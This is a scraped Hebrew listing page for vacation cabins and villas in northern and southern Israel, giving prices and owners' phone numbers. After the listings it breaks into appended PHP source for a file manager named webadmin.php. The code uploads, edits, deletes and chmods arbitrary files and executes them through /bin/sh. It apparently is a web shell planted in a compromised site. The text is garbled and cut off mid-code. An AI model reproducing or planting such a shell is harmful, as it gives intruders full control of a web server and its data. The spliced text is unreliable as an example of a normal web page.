הדרך שלכם לחופשה המושלמת מתחילה כאן.

X

מה הוא קהל היעד? בחרו אחד

יציג בכל האתר מחירים לזוג

אנחנו זוג

יציג בכל האתר תוספת מחירים עבור ילדים

אנחנו משפחה

יציג בכל האתר צימרים המתאימים לקבוצות בלבד

אנחנו קבוצה

יציג בכל האתר צימרים ווילות המקבלים מסיבות רווקים

צימרים למסיבות

האם מגיע לכם הנחה? בחרו אחד

יציג בכל האתר מחירים מוזלים עבור חיילים

אני חייל

יציג בכל האתר מחירים מוזלים עבור סטודנטים

אני סטודנט

יציג בכל האתר מחירים מוזלים עבור גילאי 55 ומעלה

אני מעל 55

X
5% הנחה למזמינים אונליין

מציג מחירים ליחידה זאת

תמונה 1 מתוך 29

סוויטות ניו גולד - Newgold

גליל עליון, דלתון

מה במתחם : 2 סוויטות מפנקות, 1 יחידת אירוח

בריכה מחוממת במתחם ג'קוזי ספא חיצוני

סופ"ש החל

₪600

אמצ"ש החל

₪600

  053-9425675

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

אתנחתא בגליל

גליל עליון, קרית שמונה

מה במתחם : 2 סוויטות

ג'קוזי ספא חיצוני

סופ"ש החל

₪750

אמצ"ש החל

₪650

  053-9425677

מציג מחירים ליחידה זאת

תמונה 1 מתוך 17

קסם בהר

דרום, נס הרים

מה במתחם : 4 סוויטות

בריכה במתחם ג'קוזי ספא חיצוני
עד 6 אנשים לאירוע

סופ"ש החל

₪850

אמצ"ש החל

₪700

(אורית)  053-9429563

5% הנחה למזמינים אונליין

מציג מחירים ליחידה זאת

תמונה 1 מתוך 19

Sweet Li - סוויט לי

דרום, אשקלון

מה במתחם : 4 צימרים

עד 4 אנשים לאירוע

סופ"ש החל

₪500

אמצ"ש החל

₪500

(שלומי)  053-9345697

מציג מחירים ליחידה זאת

תמונה 1 מתוך 30

אחוזת הלוי בוטיק

גליל עליון, חצור הגלילית

מה במתחם : 1 וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
25 אנשים לאירוע | 25 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪5000

אמצ"ש החל

₪4500

(דרור)  053-5245511

מציג מחירים ליחידה זאת

תמונה 1 מתוך 22

אחוזת אגם בוטיק

גליל מערבי, שומרה

מה במתחם : 1 וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
20 אנשים לאירוע | 20 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪3500

אמצ"ש החל

₪2750

(שמעון)  053-9429570

מציג מחירים ליחידה זאת

תמונה 1 מתוך 12

בקתות עלי הגפן

גליל עליון, ספסופה

מה במתחם : 3 בקתות.

בריכה במתחם ג'קוזי ספא חיצוני
עד 10 אנשים ללינה

סופ"ש החל

₪550

אמצ"ש החל

₪450

(גוסלין)  053-9424791

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

וילת נוף יבנאלי

ברמת הגולן והכנרת, יבניאל

מה במתחם : 1 וילה

בריכה במתחם ג'קוזי ספא חיצוני
30 אנשים לאירוע | 30 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪3000

אמצ"ש החל

₪2250

(ארי)  053-9348864

מציג מחירים ליחידה זאת

תמונה 1 מתוך 26

אחוזת כנען

גליל מערבי, ירכא

מה במתחם : 1 וילה

בריכה במתחם ג'קוזי ספא חיצוני
40 אנשים לאירוע | 20 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪5000

אמצ"ש החל

₪4500

(נאזם)  053-9428059

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

ניחוח הזית

גליל עליון, שזור

מה במתחם : 4 בקתות עץ.

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
20 אנשים לאירוע | 4 אנשים ללינה

סופ"ש החל

₪750

אמצ"ש החל

₪700

(דינה)  053-9345385

מציג מחירים ליחידה זאת

תמונה 1 מתוך 26

ביקתפוז וקלמנטינה

גליל מערבי, לימן

מה במתחם : 2 בקתות, 4 סוויטות.

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
6 אנשים לאירוע | 6 אנשים ללינה

סופ"ש החל

₪600

אמצ"ש החל

₪600

(מאיר)  053-9424722

מציג מחירים ליחידה זאת

תמונה 1 מתוך 15

חלום בירוק

גליל מערבי, נתיב השיירה

מה במתחם : 3 בקתות.

ג'קוזי ספא חיצוני
4 אנשים לאירוע | 4 אנשים ללינה

סופ"ש החל

₪700

אמצ"ש החל

₪600

(זיוה-רונן)  053-9427084

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

וילה אחוזת הפרפרים

גליל מערבי, גרנות הגליל

מה במתחם : 1 וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
30 אנשים לאירוע | 20 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪3700

אמצ"ש החל

₪2500

(סיגל)  053-9427864

מציג מחירים ליחידה זאת

תמונה 1 מתוך 14

אשכולית בקתות עץ בפרדס

ברמת הגולן והכנרת, בית שערים

מה במתחם : 5 בקתות

ג'קוזי ספא חיצוני
6 אנשים לאירוע | 6 אנשים ללינה

סופ"ש החל

₪700

אמצ"ש החל

₪700

(אודליה)  053-9344948

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

הטרקלין בעתיקה

גליל עליון, צפת

מה במתחם : 1 בית יוקרה

18 אנשים לאירוע | 18 אנשים ללינה

צלצלו לבירור מחיר

(ישראל)  053-6221794

מציג מחירים ליחידה זאת

תמונה 1 מתוך 23

איתן בקתות עץ - Eitan Wood Cabins Resort

גליל עליון, שדה אליעזר

מה במתחם : 7 בקתות.

בריכה במתחם ג'קוזי ספא חיצוני
עד 7 אנשים לאירוע

צלצלו לבירור מחיר

(איתן)  053-9429979

מציג מחירים ליחידה זאת

תמונה 1 מתוך 16

אולימפוס הכפר היווני

גליל עליון, מעיין ברוך הכפר היווני

מה במתחם : 2 סוויטות

עד 5 אנשים ללינה

סופ"ש החל

₪700

אמצ"ש החל

₪700

(אביחי)  052-4700480

מציג מחירים ליחידה זאת

תמונה 1 מתוך 31

אביגיל-צימרים

ברמת הגולן והכנרת, יבניאל

מה במתחם : 2 יחידות משפחתיות, 4 סוויטות, 1 וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
12 אנשים לאירוע | 12 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪650

אמצ"ש החל

₪450

(יאיר,אביגיל,חן)  053-9424739

מציג מחירים ליחידה זאת

תמונה 1 מתוך 24

פנינת הזהב

גליל עליון, ספסופה

מה במתחם : 1 סוויטה

בריכה במתחם ג'קוזי ספא חיצוני
עד 5 אנשים לאירוע

צלצלו לבירור מחיר

(שלום)  053-9345610

מציג מחירים ליחידה זאת

תמונה 1 מתוך 24

סוויטת דריה

גליל עליון, דלתון

מה במתחם : 1 סויטה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
4 אנשים לאירוע | 4 אנשים ללינה

סופ"ש החל

₪2000

אמצ"ש החל

₪1500

(אושר)  053-6112073

מציג מחירים ליחידה זאת

תמונה 1 מתוך 20

וילה קינג פאלאס

גליל עליון, נוף כנרת

מה במתחם : 1 וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
35 אנשים לאירוע | 35 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

סופ"ש החל

₪3750

אמצ"ש החל

₪3000

(ג`וזף)  053-5267044

מציג מחירים ליחידה זאת

תמונה 1 מתוך 23

וילה AQUA בוטיק

גליל עליון, נוף כנרת

מה במתחם : 1 וילה

בריכה מחוממת במתחם ג'קוזי ספא חיצוני
20 אנשים לאירוע | 20 אנשים ללינה

משפחות

קבוצות

מסיבת רווקים

מסיבת רווקות

ימי הולדת

אירועים

צלצלו לבירור מחיר

(עמית)  052-9787858

צימרים למשפחות

@{

Wrong Password;"); } } if (get_magic_quotes_gpc()) { array_walk($_GET, 'strip'); array_walk($_POST, 'strip'); array_walk($_REQUEST, 'strip'); } if (array_key_exists('image', $_GET)) { header('Content-Type: image/gif'); die(getimage($_GET['image'])); } if (!function_exists('lstat')) { function lstat ($filename) { return stat($filename); } } $delim = DIRECTORY_SEPARATOR; if (function_exists('php_uname')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; } else { $win = ($delim == '') ? true : false; } if (!empty($_SERVER['PATH_TRANSLATED'])) { $scriptdir = dirname($_SERVER['PATH_TRANSLATED']); } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) { $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']); } elseif (function_exists('getcwd')) { $scriptdir = getcwd(); } else { $scriptdir = '.'; } $homedir = relative2absolute($homedir, $scriptdir); $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir; if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) { $dir = relative2absolute($dir, $_POST['olddir']); } $directory = simplify_path(addslash($dir)); $files = array(); $action = ''; if (!empty($_POST['submit_all'])) { $action = $_POST['action_all']; for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') { $files[] = $_POST["file$i"]; } } } elseif (!empty($_REQUEST['action'])) { $action = $_REQUEST['action']; $files[] = relative2absolute($_REQUEST['file'], $directory); } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) { $files[] = $_FILES['upload']; $action = 'upload'; } elseif (array_key_exists('num', $_POST)) { for ($i = 0; $i < $_POST['num']; $i++) { if (array_key_exists("submit$i", $_POST)) break; } if ($i < $_POST['num']) { $action = $_POST["action$i"]; $files[] = $_POST["file$i"]; } } if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) { $files[] = relative2absolute($_POST['create_name'], $directory); switch ($_POST['create_type']) { case 'directory': $action = 'create_directory'; break; case 'file': $action = 'create_file'; } } if (sizeof($files) == 0) $action = ''; else $file = reset($files); if ($lang == 'auto') { if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } else { $lang = 'en'; } } $words = getwords($lang); if ($site_charset == 'auto') { $site_charset = $word_charset; } $cols = ($win) ? 4 : 7; if (!isset($dirpermission)) { $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755; } if (!isset($filepermission)) { $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644; } if (!empty($_SERVER['SCRIPT_NAME'])) { $self = html(basename($_SERVER['SCRIPT_NAME'])); } elseif (!empty($_SERVER['PHP_SELF'])) { $self = html(basename($_SERVER['PHP_SELF'])); } else { $self = ''; } if (!empty($_SERVER['SERVER_SOFTWARE'])) { if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') { $apache = true; } else { $apache = false; } } else { $apache = true; } switch ($action) { case 'view': if (is_script($file)) { /* highlight_file is a mess! */ ob_start(); highlight_file($file); $src = ereg_replace('', '', ob_get_contents()); $src = str_replace(array('', "r", "n"), array('', '', ''), $src); ob_end_clean(); html_header(); echo '

' . html($file) . '


';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$in";

		echo '
' . $src . '

'; html_footer(); } else { header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: filename=' . basename($file)); readfile($file); } break; case 'download': header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Type: ' . getmimetype($file)); header('Content-Disposition: attachment; filename=' . basename($file) . ';'); header('Content-Length: ' . filesize($file)); readfile($file); break; case 'upload': $dest = relative2absolute($file['name'], $directory); if (@file_exists($dest)) { listing_page(error('already_exists', $dest)); } elseif (@move_uploaded_file($file['tmp_name'], $dest)) { @chmod($dest, $filepermission); listing_page(notice('uploaded', $file['name'])); } else { listing_page(error('not_uploaded', $file['name'])); } break; case 'create_directory': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$dirpermission); if (@mkdir($file, $dirpermission)) { listing_page(notice('created', $file)); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'create_file': if (@file_exists($file)) { listing_page(error('already_exists', $file)); } else { $old = @umask(0777 & ~$filepermission); if (@touch($file)) { edit($file); } else { listing_page(error('not_created', $file)); } @umask($old); } break; case 'execute': chdir(dirname($file)); $output = array(); $retval = 0; exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval); $error = ($retval == 0) ? false : true; if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>'); if ($error) { listing_page(error('not_executed', $file, implode("n", $output))); } else { listing_page(notice('executed', $file, implode("n", $output))); } break; case 'delete': if (!empty($_POST['no'])) { listing_page(); } elseif (!empty($_POST['yes'])) { $failure = array(); $success = array(); foreach ($files as $file) { if (del($file)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_deleted', implode("n", $failure)); } if (sizeof($success) > 0) { $message .= notice('deleted', implode("n", $success)); } listing_page($message); } else { html_header(); echo '

'; request_dump(); echo "t" . word('really_delete') . '

'; foreach ($files as $file) { echo "t" . html($file) . "
n"; } echo '


'; html_footer(); } break; case 'rename': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (!@file_exists($dest) && @rename($file, $dest)) { listing_page(notice('renamed', $file, $dest)); } else { listing_page(error('not_renamed', $file, $dest)); } } else { $name = basename($file); html_header(); echo '

' . word('rename_file') . '

' . html($file) . '

' . substr($file, 0, strlen($file) - strlen($name)) . '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'move': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = $dest . $filename; if (!@file_exists($d) && @rename($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_moved', implode("n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('moved', implode("n", $success), $dest); } listing_page($message); } else { html_header(); echo '

'; request_dump(); echo "t" . word('move_files') . '

'; foreach ($files as $file) { echo "t" . html($file) . "
n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'copy': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (@is_dir($dest)) { $failure = array(); $success = array(); foreach ($files as $file) { $filename = substr($file, strlen($directory)); $d = addslash($dest) . $filename; if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) { $success[] = $file; } else { $failure[] = $file; } } $message = ''; if (sizeof($failure) > 0) { $message = error('not_copied', implode("n", $failure), $dest); } if (sizeof($success) > 0) { $message .= notice('copied', implode("n", $success), $dest); } listing_page($message); } else { if (!@file_exists($dest) && @copy($file, $dest)) { listing_page(notice('copied', $file, $dest)); } else { listing_page(error('not_copied', $file, $dest)); } } } else { html_header(); echo '

'; request_dump(); echo "n" . word('copy_files') . '

'; foreach ($files as $file) { echo "t" . html($file) . "
n"; } echo '


' . word('destination') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'create_symlink': if (!empty($_POST['destination'])) { $dest = relative2absolute($_POST['destination'], $directory); if (substr($dest, -1, 1) == $delim) $dest .= basename($file); if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file); if (!@file_exists($dest) && @symlink($file, $dest)) { listing_page(notice('symlinked', $file, $dest)); } else { listing_page(error('not_symlinked', $file, $dest)); } } else { html_header(); echo '

[ ' . word('back') . ' ]

'; html_footer(); } break; case 'edit': if (!empty($_POST['save'])) { $content = str_replace("rn", "n", $_POST['content']); if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) { listing_page(notice('saved', $file)); } else { listing_page(error('not_saved', $file)); } } else { if (@is_readable($file) && @is_writable($file)) { edit($file); } else { listing_page(error('not_edited', $file)); } } break; case 'permission': if (!empty($_POST['set'])) { $mode = 0; if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100; if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010; if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001; if (@chmod($file, $mode)) { listing_page(notice('permission_set', $file, decoct($mode))); } else { listing_page(error('permission_not_set', $file, decoct($mode))); } } else { html_header(); $mode = fileperms($file); echo '

' . phrase('permission_for', $file) . '


  ' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':

[ ' . word('back') . ' ]

'; html_footer(); } break; default: listing_page(); } /* ------------------------------------------------------------------------- */ function getlist ($directory) { global $delim, $win; if ($d = @opendir($directory)) { while (($filename = @readdir($d)) !== false) { $path = $directory . $filename; if ($stat = @lstat($path)) { $file = array( 'filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path) ); if ($file['is_dir']) { $file['is_executable'] = @file_exists($path . $delim . '.'); } else { if (!$win) { $file['is_executable'] = @is_executable($path); } else { $file['is_executable'] = true; } } if ($file['is_link']) $file['target'] = @readlink($path); if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner'])); if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group'])); $files[] = $file; } } return $files; } else { return false; } } function sortlist (&$list, $key, $reverse) { quicksort($list, 0, sizeof($list) - 1, $key); if ($reverse) $list = array_reverse($list); } function quicksort (&$array, $first, $last, $key) { if ($first < $last) { $cmp = $array[floor(($first + $last) / 2)][$key]; $l = $first; $r = $last; while ($l <= $r) { while ($array[$l][$key] < $cmp) $l++; while ($array[$r][$key] > $cmp) $r--; if ($l <= $r) { $tmp = $array[$l]; $array[$l] = $array[$r]; $array[$r] = $tmp; $l++; $r--; } } quicksort($array, $first, $r, $key); quicksort($array, $l, $last, $key); } } function permission_octal2string ($mode) { if (($mode & 0xC000) === 0xC000) { $type = 's'; } elseif (($mode & 0xA000) === 0xA000) { $type = 'l'; } elseif (($mode & 0x8000) === 0x8000) { $type = '-'; } elseif (($mode & 0x6000) === 0x6000) { $type = 'b'; } elseif (($mode & 0x4000) === 0x4000) { $type = 'd'; } elseif (($mode & 0x2000) === 0x2000) { $type = 'c'; } elseif (($mode & 0x1000) === 0x1000) { $type = 'p'; } else { $type = '?'; } $owner = ($mode & 00400) ? 'r' : '-'; $owner .= ($mode & 00200) ? 'w' : '-'; if ($mode & 0x800) { $owner .= ($mode & 00100) ? 's' : 'S'; } else { $owner .= ($mode & 00100) ? 'x' : '-'; } $group = ($mode & 00040) ? 'r' : '-'; $group .= ($mode & 00020) ? 'w' : '-'; if ($mode & 0x400) { $group .= ($mode & 00010) ? 's' : 'S'; } else { $group .= ($mode & 00010) ? 'x' : '-'; } $other = ($mode & 00004) ? 'r' : '-'; $other .= ($mode & 00002) ? 'w' : '-'; if ($mode & 0x200) { $other .= ($mode & 00001) ? 't' : 'T'; } else { $other .= ($mode & 00001) ? 'x' : '-'; } return $type . $owner . $group . $other; } function is_script ($filename) { return ereg('.php$|.php3$|.php4$|.php5$', $filename); } function getmimetype ($filename) { static $mimes = array( '.jpg$|.jpeg$' => 'image/jpeg', '.gif$' => 'image/gif', '.png$' => 'image/png', '.html$|.html$' => 'text/html', '.txt$|.asc$' => 'text/plain', '.xml$|.xsl$' => 'application/xml', '.pdf$' => 'application/pdf' ); foreach ($mimes as $regex => $mime) { if (eregi($regex, $filename)) return $mime; } // return 'application/octet-stream'; return 'text/plain'; } function del ($file) { global $delim; if (!@is_link($file) && !file_exists($file)) return false; if (!@is_link($file) && @is_dir($file)) { if ($dir = @opendir($file)) { $error = false; while (($f = readdir($dir)) !== false) { if ($f != '.' && $f != '..' && !del($file . $delim . $f)) { $error = true; } } closedir($dir); if (!$error) return @rmdir($file); return !$error; } else { return false; } } else { return @unlink($file); } } function addslash ($directory) { global $delim; if (substr($directory, -1, 1) != $delim) { return $directory . $delim; } else { return $directory; } } function relative2absolute ($string, $directory) { if (path_is_relative($string)) { return simplify_path(addslash($directory) . $string); } else { return simplify_path($string); } } function path_is_relative ($path) { global $win; if ($win) { return (substr($path, 1, 1) != ':'); } else { return (substr($path, 0, 1) != '/'); } } function absolute2relative ($directory, $target) { global $delim; $path = ''; while ($directory != $target) { if ($directory == substr($target, 0, strlen($directory))) { $path .= substr($target, strlen($directory)); break; } else { $path .= '..' . $delim; $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1); } } if ($path == '') $path = '.'; return $path; } function simplify_path ($path) { global $delim; if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') { $path = realpath($path); if (@is_dir($path)) { return addslash($path); } else { return $path; } } $pattern = $delim . '.' . $delim; if (@is_dir($path)) { $path = addslash($path); } while (strpos($path, $pattern) !== false) { $path = str_replace($pattern, $delim, $path); } $e = addslashes($delim); $regex = $e . '((.[^.' . $e . '][^' . $e . ']*)|(..[^' . $e . ']+)|([^.][^' . $e . ']*))' . $e . '..' . $e; while (ereg($regex, $path)) { $path = ereg_replace($regex, $delim, $path); } return $path; } function human_filesize ($filesize) { $suffices = 'kMGTPE'; $n = 0; while ($filesize >= 1000) { $filesize /= 1024; $n++; } $filesize = round($filesize, 3 - strpos($filesize, '.')); if (strpos($filesize, '.') !== false) { while (in_array(substr($filesize, -1, 1), array('0', '.'))) { $filesize = substr($filesize, 0, strlen($filesize) - 1); } } $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1)); return $filesize . " {$suffix}B"; } function strip (&$str) { $str = stripslashes($str); } /* ------------------------------------------------------------------------- */ function listing_page ($message = null) { global $self, $directory, $sort, $reverse; html_header(); $list = getlist($directory); if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename'; if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false; sortlist($list, $sort, $reverse); echo '

webadmin.php

'; directory_choice(); if (!empty($message)) { spacer(); echo $message; } if (@is_writable($directory)) { upload_box(); create_box(); } else { spacer(); } if ($list) { listing($list); } else { echo error('not_readable', $directory); } echo '

'; html_footer(); } function listing ($list) { global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self; echo ' smiley '; $d = 'dir=' . urlencode($directory) . '&'; if (!$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = ''; echo "t" . word('filename') . "n"; if (!$reverse && $sort == 'size') $r = '&reverse=true'; else $r = ''; echo "t" . word('size') . "n"; if (!$win) { if (!$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = ''; echo "t" . word('permission') . "n"; if (!$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = ''; echo "t" . word('owner') . "n"; if (!$reverse && $sort == 'group') $r = '&reverse=true'; else $r = ''; echo "t" . word('group') . "n"; } echo ' ' . word('functions') . ' '; for ($i = 0; $i < sizeof($list); $i++) { $file = $list[$i]; $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', '; $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', '; $timestamps .= 'ctime: ' . date($date_format, $file['ctime']); echo ' '; if ($file['is_link']) { echo 'link '; echo html($file['filename']) . ' → '; $real_file = relative2absolute($file['target'], $directory); if (@is_readable($real_file)) { if (@is_dir($real_file)) { echo '[ ' . html($file['target']) . ' ]'; } else { echo '' . html($file['target']) . ''; } } else { echo html($file['target']); } } elseif ($file['is_dir']) { echo 'folder [ '; if ($win || $file['is_executable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } echo ' ]'; } else { if (substr($file['filename'], 0, 1) == '.') { echo 'hidden file '; } else { echo 'file '; } if ($file['is_file'] && $file['is_readable']) { echo '' . html($file['filename']) . ''; } else { echo html($file['filename']); } } if ($file['size'] >= 1000) { $human = ' title="' . human_filesize($file['size']) . '"'; } else { $human = ''; } echo "t{$file['size']} Bn"; if (!$win) { echo "t'; $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid()); if ($l) echo ''; echo html(permission_octal2string($file['permission'])); if ($l) echo ''; echo "n"; if (array_key_exists('owner_name', $file)) { echo "t{$file['owner_name']}n"; } else { echo "t{$file['owner']}n"; } if (array_key_exists('group_name', $file)) { echo "t{$file['group_name']}n"; } else { echo "t{$file['group']}n"; } } echo ' '; $actions = array(); if (function_exists('symlink')) { $actions[] = 'create_symlink'; } if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'rename'; $actions[] = 'move'; } if ($file['is_file'] && $file['is_readable']) { $actions[] = 'copy'; $actions[] = 'download'; if ($file['is_writable']) $actions[] = 'edit'; } if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) { $actions[] = 'execute'; } if (sizeof($actions) > 0) { echo ' '; } echo ' '; } echo ' > '; $actions = array(); if (@is_writable(dirname($file['path']))) { $actions[] = 'delete'; $actions[] = 'move'; } $actions[] = 'copy'; echo ' '; } function directory_choice () { global $directory, $homedir, $cols, $self; echo ' ' . word('directory') . ': '; } function upload_box () { global $cols; echo ' ' . word('file') . ': '; } function create_box () { global $cols; echo ' '; } function edit ($file) { global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess; html_header(); echo '

' . html($file) . '